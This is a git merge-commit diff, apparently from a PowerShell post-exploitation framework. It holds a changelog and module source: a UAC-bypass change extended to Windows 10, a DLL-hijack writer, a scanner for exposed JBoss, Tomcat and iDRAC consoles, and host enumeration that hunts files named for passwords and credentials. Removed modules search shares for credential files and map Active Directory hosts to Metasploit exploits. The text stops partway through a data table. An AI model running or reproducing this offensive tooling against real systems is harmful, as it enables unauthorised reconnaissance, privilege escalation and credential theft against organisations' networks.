Merge branch 'master' into module_dev_paranoia

1.6
pasv 2015-10-28 23:39:38 -04:00
commit d6daa45646
62 changed files with 10492 additions and 23067 deletions

View File

@ -1,3 +1,29 @@
10/26/2015
----------
-Fix for psinject bug due to lack of .NET 4.0 on target.
-Fix for bug in persistence/misc/add_sid_history
10/23/15
-Updated powerview.ps1 source to Version 2.0
-Built a way to dynamically generate the stripped PowerView code for functions needed by PowerView modules (helpers -> generate_dynamic_powershell_script), and updated all relevant PowerView modules
-Renamed PowerView modules to better match PowerView 2.0 naming scheme and moved to situational_awareness/network/powerview/*
-Removed old split-out PowerView source files
-Removed situational_awareness/network/netview
-Combined stealth_userhunter into option for userhunter
-Added situational_awareness/network/get_forest_domain, situational_awareness/network/powerview/get_object_acl, situational_awareness/network/powerview/find_computer_field, situational_awareness/network/powerview/find_user_field, situational_awareness/network/powerview/get_ou, situational_awareness/network/powerview/get_group, situational_awareness/network/powerview/get_group_member, situational_awareness/network/powerview/get_gpo, situational_awareness/network/powerview/find_gpo_location, situational_awareness/network/powerview/find_gpo_computer_admin, situational_awareness/network/powerview/process_hunter, situational_awareness/network/powerview/find_foreign_group, situational_awareness/network/powerview/find_foreign_user
-renamed collection/filesearch to collection/find_interesting_file
9/21/2015
---------
-Fix for 'skywalker' file overwrite exploit on control server (thanks @zeroSteiner!)
9/12/2015
---------
-Added credentials/mimikatz/mimitokens to take advantage of Mimikatz' token listing/elevation
-Added management/enable_multi_rdp to patch terminal services to allow mutiple connections
-Fixed bug in write_dllhijacker that prevented the dll from being written out
============
8/30/2015 - RELEASE 1.2
============
@ -88,4 +114,4 @@
8/6/2015
-----------
-Initial release. All components released
-Commited path fix to correct bug in certain modules
-Commited path fix to correct bug in certain modules

File diff suppressed because it is too large Load Diff

View File

@ -1,142 +0,0 @@
function Invoke-FileSearch {
<#
.SYNOPSIS
Searches a given server/path for files with specific terms in the name.
.DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). The output can be piped out to a csv with the
-OutFile flag. By default, hidden files/folders are included in search results.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Terms
Terms to search for.
.PARAMETER OfficeDocs
Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXES
Find .EXEs accessed within the last week.
.PARAMETER AccessDateLimit
Only return files with a LastAccessTime greater than this date value.
.PARAMETER WriteDateLimit
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreateDateLimit
Only return files with a CreationDate greater than this date value.
.PARAMETER ExcludeFolders
Exclude folders from the search results.
.PARAMETER ExcludeHidden
Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Only returns files the current user has write access to.
.PARAMETER OutFile
Output results to a specified csv output file.
.OUTPUTS
The full path, owner, lastaccess time, lastwrite time, and size for
each found file.
.EXAMPLE
> Invoke-FileSearch -Path \\WINDOWS7\Users\
Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass',
'sensitive', or 'secret' in the title.
.EXAMPLE
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
or 'email' in the title, and writes the results out to a csv file
named 'out.csv'
.EXAMPLE
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014
Returns all files accessed since 6/1/2014.
.LINK
http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[string]
$Path = '.\',
[string[]]
$Terms,
[Switch]
$OfficeDocs,
[Switch]
$FreshEXES,
[string]
$AccessDateLimit = '1/1/1970',
[string]
$WriteDateLimit = '1/1/1970',
[string]
$CreateDateLimit = '1/1/1970',
[Switch]
$ExcludeFolders,
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[string]
$OutFile
)
begin {
# default search terms
$SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config')
# check if custom search terms were passed
if ($Terms){
if($Terms -isnot [system.array]){
$Terms = @($Terms)
}
$SearchTerms = $Terms
}
# append wildcards to the front and back of all search terms
for ($i = 0; $i -lt $SearchTerms.Count; $i++) {
$SearchTerms[$i] = "*$($SearchTerms[$i])*"
}
# search just for office documents if specified
if ($OfficeDocs){
$SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
# find .exe's accessed within the last 7 days
if($FreshEXES){
# get an access time limit of 7 days ago
$AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy')
$SearchTerms = '*.exe'
}
}
process {
# build our giant recursive search command w/ conditional options
$cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})"
# execute the command
Invoke-Expression $cmd
}
}

View File

@ -552,7 +552,7 @@ function Invoke-BypassUAC
$szTempDllPath = $TempPayloadPath
Write-Verbose "Windows 7/2008 detected"
}
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3")) {
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3") -or ($OSVersion -eq "10.0")) {
# windows 8/2012
$szElevDll = 'NTWDBLIB.dll'
$szElevDir = $env:WINDIR + "\System32"
@ -607,4 +607,4 @@ function Invoke-BypassUAC
Write-Verbose "Removing temporary payload $TempPayloadPath"
Remove-Item -Path $TempPayloadPath -Force
}
}

View File

@ -1,4 +1,3 @@
function Write-HijackDll {
<#
.SYNOPSIS
@ -8,8 +7,8 @@ function Write-HijackDll {
.PARAMETER OutputFile
File name to write the .dll to.
.PARAMETER BatchPath
Patch to the .bat for the .dll to launch. Defaults to "debug.bat" in the
.PARAMETER BatPath
Path to the .bat for the .dll to launch. Defaults to "debug.bat" in the
.dll's current directory.
.PARAMETER Arch
@ -28,7 +27,7 @@ function Write-HijackDll {
$OutputFile,
[string]
$BatchPath,
$BatPath,
[string]
$Arch
@ -62,8 +61,8 @@ function Write-HijackDll {
}
# patch in the appropriate .bat launcher path if specified
if ($BatchPath) {
$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatchPath
if ($BatPath) {
$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath
}
Set-Content -value $DllBytes -encoding byte -path $OutputFile

View File

@ -0,0 +1,204 @@
function Find-Fruit
{
<#
.SYNOPSIS
Search for "low hanging fruit".
.DESCRIPTION
A script to find potentially easily exploitable web servers on a target network.
.PARAMETER Rhosts
Targets in CIDR or comma separated format.
.PARAMETER Port
Specifies the port to connect to.
.PARAMETER Path
Path to custom dictionary.
.PARAMETER Timeout
Set timeout for each connection.
.PARAMETER UseSSL
Use an SSL connection.
.EXAMPLE
C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Port 8080 -Timeout 50
C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Path dictionary.txt -Port 443 -Timeout 50
.NOTES
Credits to mattifestation for Get-HttpStatus
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $True)]
[String]
$Rhosts,
[Int]
$Port,
[String]
$Path,
[Int]
$Timeout = "50",
[Switch]
$UseSSL
)
$hostList = New-Object System.Collections.ArrayList
[String] $iHosts = $Rhosts.Split(",")
foreach($iHost in $iHosts)
{
$iHost = $iHost.Replace(" ", "")
if(!$iHost)
{
continue
}
if($iHost.contains("/"))
{
$netPart = $iHost.split("/")[0]
[uint32]$maskPart = $iHost.split("/")[1]
$address = [System.Net.IPAddress]::Parse($netPart)
if ($maskPart -ge $address.GetAddressBytes().Length * 8)
{
throw "Bad host mask"
}
$numhosts = [System.math]::Pow(2,(($address.GetAddressBytes().Length *8) - $maskPart))
$startaddress = $address.GetAddressBytes()
[array]::Reverse($startaddress)
$startaddress = [System.BitConverter]::ToUInt32($startaddress, 0)
[uint32]$startMask = ([System.math]::Pow(2, $maskPart)-1) * ([System.Math]::Pow(2,(32 - $maskPart)))
$startAddress = $startAddress -band $startMask
#in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary
$startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3]
[array]::Reverse($startaddress)
$address = [System.Net.IPAddress] [byte[]] $startAddress
$hostList.Add($address.IPAddressToString)
for ($i=0; $i -lt $numhosts-1; $i++)
{
$nextAddress = $address.GetAddressBytes()
[array]::Reverse($nextAddress)
$nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0)
$nextAddress ++
$nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3]
[array]::Reverse($nextAddress)
$address = [System.Net.IPAddress] [byte[]] $nextAddress
$hostList.Add($address.IPAddressToString)|Out-Null
}
}
else
{
$hostList.Add($iHost)
}
}
if ($UseSSL -and $Port -eq 0) {
# Default to 443 if SSL is specified but no port is specified
$Port = 443
} elseif ($Port -eq 0) {
# Default to port 80 if no port is specified
$Port = 80
}
if ($UseSSL) {
$SSL = 's'
# Ignore invalid SSL certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
} else {
$SSL = ''
}
if (($Port -eq 80) -or ($Port -eq 443)) {
$PortNum = ''
} else {
$PortNum = ":$Port"
}
if ($Path)
{
if (!(Test-Path -Path $Path)) { Throw "File doesnt exist" }
$VulnLinks = @()
foreach ($Link in Get-Content $Path) {
$VulnLinks = $VulnLinks + $Link
}
} else {
$VulnLinks = @()
$VulnLinks = $VulnLinks + "jmx-console/" # Jboss
$VulnLinks = $VulnLinks + "web-console/ServerInfo.jsp" # Jboss
$VulnLinks = $VulnLinks + "invoker/JMXInvokerServlet" # Jboss
$VulnLinks = $VulnLinks + "lc/system/console" # Adobe LiveCycle OSGi console
$VulnLinks = $VulnLinks + "axis2/axis2-admin/" # Apache Axis2
$VulnLinks = $VulnLinks + "manager/html/" # Tomcat
$VulnLinks = $VulnLinks + "tomcat/manager/html/" # Tomcat
$VulnLinks = $VulnLinks + "wp-admin" # Wordpress
$VulnLinks = $VulnLinks + "workorder/FileDownload.jsp" #Manage Engine
$VulnLinks = $VulnLinks + "ibm/console/logon.jsp?action=OK" # WebSphere
$VulnLinks = $VulnLinks + "data/login" # Dell iDrac
}
# Check Http status for each entry in the ditionary file
foreach ($Target in $hostList)
{
$TcpConnection = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Path Test Succeeded - Testing Connectivity"
foreach ($Item in $Vulnlinks) {
$WebTarget = "http$($SSL)://$($Target)$($PortNum)/$($Item)"
$URI = New-Object Uri($WebTarget)
try {
$WebRequest = [System.Net.WebRequest]::Create($URI)
$WebResponse = $WebRequest.Timeout=$Timeout
$WebResponse = $WebRequest.GetResponse()
$WebStatus = $WebResponse.StatusCode
$ResultObject += $ScanObject
$WebResponse.Close()
} catch {
$WebStatus = $Error[0].Exception.InnerException.Response.StatusCode
if ($WebStatus -eq $null) {
# Not every exception returns a StatusCode.
# If that is the case, return the Status.
$WebStatus = $Error[0].Exception.InnerException.Status
}
}
$Result = @{ Status = $WebStatus;
URL = $WebTarget}
$ScanObject = New-Object -TypeName PSObject -Property $Result
Write-Output $ScanObject
}
}
}

View File

@ -5,54 +5,39 @@ function Invoke-WinEnum{
Collects all revelant information about a host and the current user context.
.DESCRIPTION
After gaining initial access to a target host. It is recommended to gain situational awareness by enumerating the user and system.
This script conducts user, system, and network enumeration using the current user context or with a specified user and/or keyword.
.PARAMETER User
Specify a user to enumerate. The default is the current user.
.PARAMETER UserName
Specify a user to enumerate. The default is the current user context.
.PARAMETER keyword
Specify a keyword to use in file searches.
.PARAMETER UserInfo
Enumerate user information
.PARAMETER SysInfo
Enumerate system information of the current host
.PARAMETER NetInfo
Enumerate the current network
.PARAMETER keywords
Specify a keyword or array of keywords to use in file searches.
.EXAMPLE
Conduct all enumeration with a keyword for file searches.
Invoke-WinEnum -UserInfo keyword "putty" -SysInfo -NetInfo
Conduct enumeration with a username and keyword
Invoke-WindowsEnum -User "sandersb"
.EXAMPLE
Conduct all enumeration with a username
Conduct enumeration with a keyword for file searches.
Invoke-WinEnum -User "sandersb" -UserInfo -SysInfo -NetInfo
Invoke-WindowsEnum -keyword "putty"
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=0)]
[string]$UserName,
[Parameter(Mandatory=$False,Position=1)]
[string]$User,
[Parameter(Mandatory=$False)]
[string]$keyword,
[Parameter(Mandatory=$False)]
[switch]$UserInfo,
[Parameter(Mandatory=$False)]
[switch]$SysInfo,
[Parameter(Mandatory=$False)]
[switch]$NetInfo
[string[]]$keywords
)
If($UserInfo){
if($User){
"UserName: $User`n"
$DomainUser = $User
Function Get-UserInfo{
if($UserName){
"UserName: $UserName`n"
$DomainUser = $UserName
}
else{
#If the username was not provided,
@ -79,7 +64,7 @@ function Invoke-WinEnum{
#Get the distinguishedName for the domain
$usr = $dsclassUP::FindByIdentity($contextTypeDomain,$iType,$DomainUser)
#Grab the user principal object for the domain.
$usr.GetGroups() | foreach {$_.Name + "`n"}
$usr.GetGroups() | foreach {$_.Name}
#Enumerate all groups the user is apart of
@ -87,42 +72,58 @@ function Invoke-WinEnum{
"Password Last changed"
"`n-------------------------------------`n"
$usr.LastPasswordSet + "`n"
$($usr.LastPasswordSet) + "`n"
"`n-------------------------------------`n"
"Last 5 files opened"
"`n-------------------------------------`n"
$LastOpenedFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime} | select -First 5
if($LastOpenedFiles){
foreach ($file in $LastOpenedFiles){
"Filepath: " + $file.FullName + "`n"
"Last Accessed: " + $file.LastAccessTime + "`n"
$AllOpenedFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime}
$LastOpenedFiles = @()
$AllOpenedFiles | ForEach-Object {
$owner = $($_.GetAccessControl()).Owner
$owner = $owner.split('\')[-1]
if($owner -eq $UserName){
$LastOpenedFiles += $_
}
}
if($LastOpenedFiles){
$LastOpenedFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime -First 5 | Format-List | Out-String
}
"`n-------------------------------------`n"
"Interesting Files"
"`n-------------------------------------`n"
#If the keyword is set, use it in the file search
if($keyword){
$interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @($keyword) -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
if($interestingFiles){
foreach($file in $interestingFiles){
"Filepath: " + $file.FullName + "`n"
"Last Accessed: " + $file.LastAccessTime + "`n"
$NewestInterestingFiles = @()
if($keywords)
{
$AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include $keywords -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
$AllInterestingFiles | ForEach-Object {
$owner = $_.GetAccessControl().Owner
$owner = $owner.split('\')[-1]
if($owner -eq $UserName){
$NewestInterestingFiles += $_
}
}
if($NewestInterestingFiles){
$NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String
}
}
#Otherwise, search using the pre-defined list
else{
$interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*pass*","*admin*","*config*","*cred*","*key*","*ssh*","*putty*","*vpn*") -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False}
if($interestingFiles){
foreach($file in $interestingFiles){
"Filepath: " + $file.FullName + "`n"
"Last Accessed: " + $file.LastAccessTime + "`n"
else
{
$AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt","*pass*","*cred*") -ErrorAction SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
$AllInterestingFiles | ForEach-Object {
$owner = $_.GetAccessControl().Owner
$owner = $owner.split('\')[-1]
if($owner -eq $UserName){
$NewestInterestingFiles += $_
}
}
}
if($NewestInterestingFiles)
{
$NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String
}
}
"`n-------------------------------------`n"
@ -143,7 +144,7 @@ function Invoke-WinEnum{
"`n"
}
if($SysInfo){
Function Get-SysInfo{
"`n-------------------------------------`n"
"System Information"
"`n-------------------------------------`n"
@ -152,17 +153,42 @@ function Invoke-WinEnum{
$OSArch = (Get-WmiObject -class win32_operatingsystem).OSArchitecture
"OS: $OSVersion $OSArch`n"
If($OSArch -eq '64-bit'){
if($OSArch -eq '64-bit')
{
$registeredAppsx64 = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
$registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
$registeredApps = $registeredApps + $registeredAppsx64
$registeredApps = $registeredApps | Sort-Object DisplayName -Unique
$registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
$registeredAppsx64 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
$registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
}
else{
$registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
else
{
$registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
$registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
}
"`n-------------------------------------`n"
"Services"
"`n-------------------------------------`n"
$AllServices = @()
Get-WmiObject -class win32_service | ForEach-Object{
$service = New-Object PSObject -Property @{
ServiceName = $_.DisplayName
ServiceStatus = (Get-service | where-object { $_.DisplayName -eq $ServiceName}).status
ServicePathtoExe = $_.PathName
StartupType = $_.StartMode
}
$AllServices += $service
}
$AllServices | Select ServicePathtoExe, ServiceName | Format-Table -AutoSize | Out-String
"`n-------------------------------------`n"
"Available Shares"
"`n-------------------------------------`n"
Get-WmiObject -class win32_share | Format-Table -AutoSize Name, Path, Description, Status | Out-String
"`n-------------------------------------`n"
"AV Solution"
"`n-------------------------------------`n"
@ -218,17 +244,17 @@ function Invoke-WinEnum{
}
#Coming soon
if($NetInfo){
Function Get-NetInfo{
"`n-------------------------------------`n"
"Network Adapters"
"`n-------------------------------------`n"
#http://thesurlyadmin.com/2013/05/20/using-powershell-to-get-adapter-information/
foreach ($Adapter in (Get-WmiObject -class win32_networkadapter -Filter "NetConnectionStatus='2'")){
$config = Get-WmiObject -class win32_networkadapterconfiguration -Filter "Index = '$($Adapter.Index)'"
"--------------------------`n"
"`n"
"Adapter: " + $Adapter.Name + "`n"
"--------------------------`n"
"`n"
"IP Address: "
if($config.IPAddress -is [system.array]){
$config.IPAddress[0] + "`n"
@ -236,10 +262,9 @@ function Invoke-WinEnum{
else{
$config.IPAddress + "`n"
}
"---------------------------`n"
"`n"
"Mac Address: " + $Config.MacAddress
"---------------------------`n"
"`n"
}
"`n-------------------------------------`n"
@ -310,8 +335,56 @@ function Invoke-WinEnum{
Name = $DriveName
}
$NetworkDrive
}
}
"`n-------------------------------------`n"
"Firewall Rules"
"`n-------------------------------------`n"
#http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/03/hey-scripting-guy-weekend-scripter-how-to-retrieve-enabled-windows-firewall-rules.aspx
#Create the firewall com object to enumerate
$fw = New-Object -ComObject HNetCfg.FwPolicy2
#Retrieve all firewall rules
$FirewallRules = $fw.rules
#create a hashtable to define all values
$fwprofiletypes = @{1GB="All";1="Domain"; 2="Private" ; 4="Public"}
$fwaction = @{1="Allow";0="Block"}
$FwProtocols = @{1="ICMPv4";2="IGMP";6="TCP";17="UDP";41="IPV6";43="IPv6Route"; 44="IPv6Frag";
47="GRE"; 58="ICMPv6";59="IPv6NoNxt";60="IPv60pts";112="VRRP"; 113="PGM";115="L2TP"}
$fwdirection = @{1="Inbound"; 2="Outbound"}
#Retrieve the profile type in use and the current rules
$fwprofiletype = $fwprofiletypes.Get_Item($fw.CurrentProfileTypes)
$fwrules = $fw.rules
"Current Firewall Profile Type in use: $fwprofiletype"
$AllFWRules = @()
#enumerate the firewall rules
$fwrules | ForEach-Object{
#Create custom object to hold properties for each firewall rule
$FirewallRule = New-Object PSObject -Property @{
ApplicationName = $_.Name
Protocol = $fwProtocols.Get_Item($_.Protocol)
Direction = $fwdirection.Get_Item($_.Direction)
Action = $fwaction.Get_Item($_.Action)
LocalIP = $_.LocalAddresses
LocalPort = $_.LocalPorts
RemoteIP = $_.RemoteAddresses
RemotePort = $_.RemotePorts
}
$AllFWRules += $FirewallRule
}
$AllFWRules | Select-Object Action, Direction, RemoteIP, RemotePort, LocalPort, ApplicationName | Format-List | Out-String
}
Get-UserInfo
Get-SysInfo
Get-NetInfo
}

View File

@ -1,324 +0,0 @@
<#
.Synopsis
This module will query Active Directory for the hostname, OS version, and service pack level
for each computer account. That information is then cross-referenced against a list of common
Metasploit exploits that can be used during penetration testing.
.DESCRIPTION
This module will query Active Directory for the hostname, OS version, and service pack level
for each computer account. That information is then cross-referenced against a list of common
Metasploit exploits that can be used during penetration testing. The script filters out disabled
domain computers and provides the computer's last logon time to help determine if it's been
decommissioned. Also, since the script uses data tables to output affected systems the results
can be easily piped to other commands such as test-connection or a Export-Csv.
.EXAMPLE
The example below shows the standard command usage. Disabled system are excluded by default, but
the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
logged on for two or more weeks it's been decommissioned.
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
[*] Grabbing computer accounts from Active Directory...
[*] Loading exploit list for critical missing patches...
[*] Checking computers for vulnerable OS and SP levels...
[+] Found 5 potentially vulnerabile systems!
ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
------------ --------------- ----------- --------- --------- ---
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
.EXAMPLE
The example below shows how to write the output to a csv file.
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Export-Csv c:\temp\output.csv -NoTypeInformation
.EXAMPLE
The example below shows how to pipe the resultant list of computer names into the test-connection to determine if they response to ping
requests.
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Test-Connection
.LINK
http://www.netspi.com
.NOTES
Author: Scott Sutherland - 2015, NetSPI
Version: Get-ExploitableSystems.psm1 v1.0
Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
#>
function Get-ExploitableSystems
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory=$false,
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
[string]$DomainController,
[Parameter(Mandatory=$false,
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]
[int]$Limit = 1000,
[Parameter(Mandatory=$false,
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")]
[ValidateSet("Subtree","OneLevel","Base")]
[string]$SearchScope = "Subtree",
[Parameter(Mandatory=$false,
HelpMessage="Distinguished Name Path to limit search to.")]
[string]$SearchDN
)
Begin
{
if ($DomainController -and $Credential.GetNetworkCredential().Password)
{
$objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
}
else
{
$objDomain = [ADSI]""
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
}
}
Process
{
# Status user
Write-Host "[*] Grabbing computer accounts from Active Directory..."
# ----------------------------------------------------------------
# Setup data table for domain computer information
# ----------------------------------------------------------------
# Create data table for hostnames, os, and service packs from LDAP
$TableAdsComputers = New-Object System.Data.DataTable
$TableAdsComputers.Columns.Add('Hostname') | Out-Null
$TableAdsComputers.Columns.Add('OperatingSystem') | Out-Null
$TableAdsComputers.Columns.Add('ServicePack') | Out-Null
$TableAdsComputers.Columns.Add('LastLogon') | Out-Null
# ----------------------------------------------------------------
# Grab computer account information from Active Directory via LDAP
# ----------------------------------------------------------------
$CompFilter = "(&(objectCategory=Computer))"
$ObjSearcher.PageSize = $Limit
$ObjSearcher.Filter = $CompFilter
$ObjSearcher.SearchScope = "Subtree"
if ($SearchDN)
{
$objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")
}
$ObjSearcher.FindAll() | ForEach-Object {
# Setup fields
$CurrentHost = $($_.properties['dnshostname'])
$CurrentOs = $($_.properties['operatingsystem'])
$CurrentSp = $($_.properties['operatingsystemservicepack'])
$CurrentLast = $($_.properties['lastlogon'])
$CurrentUac = $($_.properties['useraccountcontrol'])
# Convert useraccountcontrol to binary so flags can be checked
# http://support.microsoft.com/en-us/kb/305144
# http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx
$CurrentUacBin = [convert]::ToString($CurrentUac,2)
# Check the 2nd to last value to determine if its disabled
$DisableOffset = $CurrentUacBin.Length - 2
$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
# Add computer to list if it's enabled
if ($CurrentDisabled -eq 0){
# Add domain computer to data table
$TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) | Out-Null
}
}
# Status user
Write-Host "[*] Loading exploit list for critical missing patches..."
# ----------------------------------------------------------------
# Setup data table for list of msf exploits
# ----------------------------------------------------------------
# Create data table for list of patches levels with a MSF exploit
$TableExploits = New-Object System.Data.DataTable
$TableExploits.Columns.Add('OperatingSystem') | Out-Null
$TableExploits.Columns.Add('ServicePack') | Out-Null
$TableExploits.Columns.Add('MsfModule') | Out-Null
$TableExploits.Columns.Add('CVE') | Out-Null
# Add exploits to data table
$TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
